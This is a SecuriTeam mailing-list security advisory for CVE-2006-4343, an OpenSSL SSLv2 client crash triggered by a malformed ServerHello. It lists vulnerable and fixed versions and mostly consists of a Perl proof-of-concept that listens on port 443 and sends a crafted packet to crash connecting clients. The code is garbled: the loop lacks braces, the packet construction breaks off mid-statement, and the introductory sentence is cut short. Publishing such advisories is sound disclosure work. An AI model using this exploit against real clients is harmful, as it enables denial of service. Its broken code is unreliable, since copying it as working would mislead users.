[EXPL] OpenSSL SSLv2 Client Crash (NULL Reference)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

- - - - - - - - -

OpenSSL SSLv2 Client Crash (NULL Reference)


A vulnerability in the way OpenSSL handles ServerHello packets allows
remote attackers to cause the client connecting to it to crash, the
following exploit code can be used to test your client for the


Vulnerable Systems:
* OpenSSL version 0.9.7 before 0.9.7l
* OpenSSL version 0.9.8 before 0.9.8d

Immune Systems:
* OpenSSL version 0.9.7l
* OpenSSL version 0.9.8d

# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM's SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be
crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp',
Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;

my $TIMEOUT = 0.5;
my $line;
my $new_sock;

while ( $new_sock = $sock->accept() )
printf ("new connection\n");
my $rin;
my $line;
my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) &&
recv($new_sock, $line, 1024, undef);

my $ciphers = "";
my $ciphers_length = pack('n', length($ciphers));

my $certificate = "";
my $certificate_length = pack('n', length($certificate));

my $packet_sslv2 =
"\x01". # Hit (default 0x01)

"\x00". # No certificate

# Certificate
# Done
# Ciphers
# Done

my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
$packet_sslv2 = $ssl_length . $packet_sslv2;

print $new_sock $packet_sslv2;



The information has been provided by <mailto:noamr@xxxxxxxxxxxxxxxxxx>
Noam Rathaus.
The original article can be found at:


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.